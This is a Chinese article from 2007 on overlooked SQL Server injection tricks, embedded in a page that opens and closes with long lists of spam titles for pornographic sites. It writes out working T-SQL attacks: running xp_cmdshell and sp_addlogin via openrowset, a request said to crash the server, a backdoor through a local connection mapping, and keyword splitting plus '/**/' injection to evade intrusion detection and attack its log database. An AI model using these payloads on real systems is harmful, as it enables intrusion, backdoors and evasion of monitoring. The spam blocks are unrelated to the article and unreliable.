国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

注意那些容易被忽略的SQL注入技巧
2007-01-26   賽迪網安全社區

下面我要談到一些Sqlserver新的Bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家鑒別。

1.關于Openrowset和Opendatasource

可能這個技巧早有人已經會了,就是利用openrowset發送本地命令。通常我們的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from
table')

可見(即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問,它必須跟在select后面,也就是說需要返回一個recordset 。

那么我們能不能利用它調用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果采用默認設置,會返回空集合導致select出錯,命令也就無法執行了。

那么如果我們要調用sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設置了,可以如下操作:

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' 
exec master.dbo.sp_addlogin Hectic')
這樣,命令至少會返回select OK!'的集合,你的機器商會顯示OK!,同時對方的數據庫內也會增加一個Hectic的賬號,也就是說,我們利用select 'OK!'的返回集合欺騙了本地的select請求,是命令能夠正常執行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于這個方法真正的用處,大家慢慢想吧。

2.關于Msdasql兩次請求的問題

不知道大家有沒有試過用msdasql連接遠程數據庫,當然這個api必須是sqlserver的管理員才可以調用,那么如下:

select * from openrowset('msdasql','driver={sql 
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當table1和table2的字段數目不相同時,你會發現對方的sqlserver崩潰了,連本地連接都會失敗,而系統資源占用一切正常,用pskill殺死 sqlserver進程后,如果不重啟機器,sqlserver要么無法正常啟動,要么時常出現非法操作,我也只是碰巧找到這個bug的,具體原因我還沒有摸透,而且很奇怪的是這個現象只出現在msdasql上,sqloledb就沒有這個問題,看來問題不是在于請求集合數目和返回集合數目不匹配上,應該還是msdasql本身的問題,具體原因,大家一起慢慢研究吧。

3.可怕的后門

以前在網上看到有人說在 sqlserver上留后門可以通過添加triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到,這些方法當然可行,但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連接映射。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令:

select * from openrowset('sqloledb','trusted_connection=yes;data 
source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連接映射,只要sqlserver不重啟,這個映射會一直存在下去,至少我現在還不知道如何發現別人放置的連接映射,好了,以上的命令運行過后,你會發現哪怕是sqlserver沒有任何權限的guest用戶,運行以上這條命令也一樣能通過!而且權限是 localsystem!(默認安裝)呵呵!這個方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個后門了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過!

另外還有一個猜測,不知道大家有沒有注意過windows默認附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理員賬號連接sqlserver的,如果對方的 sqlserver是通過自定義的power user啟動,那么sa的權限就和power user一樣,很難有所大作為,但是我們通過如下的命令:

select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec 
master..xp_cmdshell ''dir c:\''')

應該可以利用localserver的管理員賬號連接本地sqlserver然后再以這個賬號的權限執行本地命令了,這是后我想應該能突破sa那個power user權限了。現在的問題是sqloledb無法調用dsn連接,而msdasql非管理員不讓調用,所以我現在正在尋找guest調用msdasql 的方法。

如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行。

4.利用T-sql騙過Ids或攻擊Ids

現在的Ids已經變得越來越聰明了。有的ids加入了xp_cmdshell sp_addlogin 的監視,但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺。

先說說欺騙Ids

Ids既然監視xp_cmdshell關鍵字,那么我們可以這么做:

declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

這個代碼相信大家都能看明白,還有xp_cmdshell作為一個store procedure在master庫內有一個id號,固定的,我們也可以這么做:

假設這個id=988456

declare @a sysname select @a=name from sysobjects where id=988456 
exec @a 'dir c:\'

當然也可以:

declare @a sysname select @a=name from sysobjects where id=988455 1 
exec @a 'dir c:\'

這種做法排列組合,ids根本不可能做的到完全監視。同理,sp_addlogin也可以這么做。

再說說攻擊Ids

因為Ids數據量很大,日至通常備份到常規數據庫,比如sql server。

如果用古老的recordset.addnew做法,會嚴重影響ids的性能,因為通過ado做t-sql請求,不但效率高,而且有一部分工作可以交給sql server 去做,通常程序會這么寫:

insert table values ('日至內容',...)

那么我們想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后會變成:

insert table values ('日至內容'....'temp') exec xp_cmdshell 'dir 
c:\' -- ')

這樣,xp_cmdshell就可以在ids的數據庫運行了。當然ids是一個嗅嘆器,他會抓所有的報,而瀏覽器提交的時候會把空格變成 。因此, 會被提交到sql server,這樣你的命令就無法執行了。 唯一的辦法就是:

insert/**/table/**/values('日至內容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數據庫內執行。當然也可以用其他語句,可以破壞,備份ids的數據庫到你的共享目錄。

其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/ 。本來asp是select語句,那么用'就可以屏蔽。現在ids用insert語句,那么用')屏蔽。

好了,其他很多新的入侵語句大家可以自己慢慢想,最好的測試工具就是query analyzer了。

熱詞搜索:

上一篇:安全技巧之用ZoneAlarm判斷是否中木馬
下一篇:防止ASP木馬在服務器上運行

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
一区2区3区在线看| 成人av在线播放网址| 国产毛片精品视频| 色狠狠色噜噜噜综合网| 国产三级精品视频| 日本va欧美va瓶| 91蜜桃网址入口| 国产亚洲一区字幕| 麻豆精品一区二区三区| 在线观看日韩一区| 中文字幕在线一区免费| 国产九色精品成人porny| 91精品婷婷国产综合久久| 国产精品久久精品日日| 国产一区二区伦理片| 欧美电影免费观看完整版| 亚洲电影一级片| 欧美在线视频不卡| 一区二区三区四区在线| 国产91对白在线观看九色| 久久夜色精品一区| 精品一区二区成人精品| 日韩一区二区在线免费观看| 性欧美疯狂xxxxbbbb| 91久久香蕉国产日韩欧美9色| 最新国产の精品合集bt伙计| 丁香婷婷综合色啪| 国产精品不卡视频| 99久久久免费精品国产一区二区| 久久九九久精品国产免费直播| 久久福利资源站| 欧美mv日韩mv国产网站| 另类小说综合欧美亚洲| 日韩视频国产视频| 蜜臀av一区二区在线免费观看| 欧美日韩成人在线一区| 日韩电影在线观看电影| 日韩欧美成人激情| 国产精品一区2区| 国产日本一区二区| 91网站最新地址| 亚洲黄一区二区三区| 欧美三级中文字| 人人爽香蕉精品| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 日韩一区二区三区高清免费看看| 亚州成人在线电影| 日韩久久精品一区| 丰满亚洲少妇av| 亚洲黄色av一区| 制服丝袜一区二区三区| 国内精品伊人久久久久av影院| 国产午夜亚洲精品不卡| 波多野结衣的一区二区三区| 亚洲日本欧美天堂| 欧美一区二区三区在线观看视频 | 亚洲视频免费看| 337p亚洲精品色噜噜噜| 国产精品一区二区免费不卡| 国产精品久久久久一区| 欧美日韩在线综合| 久久97超碰国产精品超碰| 国产精品的网站| 欧美一区二区免费观在线| 国产电影一区二区三区| 亚洲午夜av在线| 久久久亚洲精华液精华液精华液| 91蜜桃网址入口| 久久99精品久久久久久国产越南| 国产精品大尺度| 理论电影国产精品| 亚洲成人免费电影| 欧美成人午夜电影| 91欧美激情一区二区三区成人| 欧美性猛交xxxx黑人交| 欧美一级一区二区| 男人操女人的视频在线观看欧美| 在线电影国产精品| 免费成人在线网站| 精品国产乱码久久久久久免费 | 国产麻豆午夜三级精品| 日韩欧美一级精品久久| 久久国产视频网| 久久尤物电影视频在线观看| 国产精品一区二区在线观看网站| 欧美精品一区二区三区视频| 国产一区二区三区免费| 国产欧美视频一区二区三区| 成人免费电影视频| 1区2区3区精品视频| 91福利国产精品| 日韩和欧美一区二区| 欧美一区2区视频在线观看| 韩国av一区二区三区在线观看| 久久毛片高清国产| 97精品超碰一区二区三区| 依依成人精品视频| 欧美一区二区三区喷汁尤物| 国内精品久久久久影院薰衣草| 国产欧美一区二区在线| 色丁香久综合在线久综合在线观看| 一区二区三区日韩| 欧美电视剧免费观看| 99麻豆久久久国产精品免费 | 久88久久88久久久| 欧美国产一区二区在线观看| 一本大道久久a久久综合婷婷 | 久久99精品久久久久久久久久久久| 国产亚洲一区二区在线观看| 99精品视频在线播放观看| 亚洲成人综合在线| 国产欧美一区二区在线观看| 色婷婷国产精品综合在线观看| 青青青伊人色综合久久| 国产精品不卡一区二区三区| 欧美夫妻性生活| 成人一区二区三区| 日韩高清在线不卡| 亚洲欧洲一区二区在线播放| 制服.丝袜.亚洲.中文.综合| eeuss鲁片一区二区三区在线观看| 香蕉乱码成人久久天堂爱免费| 久久精品水蜜桃av综合天堂| 精品视频1区2区| 波多野洁衣一区| 国产一区二区三区香蕉| 亚洲国产wwwccc36天堂| 国产精品每日更新在线播放网址 | 久久精品国产成人一区二区三区| 亚洲美女少妇撒尿| 久久久精品蜜桃| 欧美一区二区三区白人| 欧美视频在线一区| 99视频一区二区三区| 国产乱国产乱300精品| 日本不卡中文字幕| 亚洲一区在线观看视频| 综合亚洲深深色噜噜狠狠网站| 26uuu国产电影一区二区| 91精品国产一区二区三区| 欧美三级蜜桃2在线观看| 91婷婷韩国欧美一区二区| 成人动漫一区二区三区| 国产麻豆日韩欧美久久| 韩国成人精品a∨在线观看| 免费成人在线观看| 免费一区二区视频| 日韩电影免费在线观看网站| 五月婷婷久久丁香| 亚洲www啪成人一区二区麻豆| 亚洲综合色成人| 亚洲自拍偷拍网站| 一区二区高清免费观看影视大全| 亚洲色图清纯唯美| 亚洲精品成人精品456| 亚洲精品成人a在线观看| 亚洲激情综合网| 亚洲电影欧美电影有声小说| 午夜精彩视频在线观看不卡| 五月天国产精品| 免费在线视频一区| 国产一区二区免费看| 成人一区二区三区| 一本大道av伊人久久综合| 在线观看区一区二| 91精品国产一区二区三区香蕉| 日韩色在线观看| 精品av久久707| 国产精品久久久久久久久动漫| 亚洲精品伦理在线| 午夜久久久久久久久| 六月丁香综合在线视频| 国产精品资源站在线| 99在线精品视频| 欧美军同video69gay| 精品国产一区a| 亚洲欧洲国产日韩| 香蕉久久一区二区不卡无毒影院| 另类成人小视频在线| 播五月开心婷婷综合| 欧美日韩国产一级片| xvideos.蜜桃一区二区| 亚洲欧美激情在线| 日韩av中文字幕一区二区 | 成人综合婷婷国产精品久久蜜臀| youjizz国产精品| 在线电影欧美成精品| 中文字幕不卡在线| 五月婷婷激情综合| 不卡视频在线观看| 日韩一本二本av| 亚洲欧美成人一区二区三区| 精品综合久久久久久8888| 91网页版在线| 久久综合久久综合亚洲| 亚洲一区二区视频| 成熟亚洲日本毛茸茸凸凹| 6080亚洲精品一区二区| 亚洲欧美综合在线精品| 久久99久久久久久久久久久|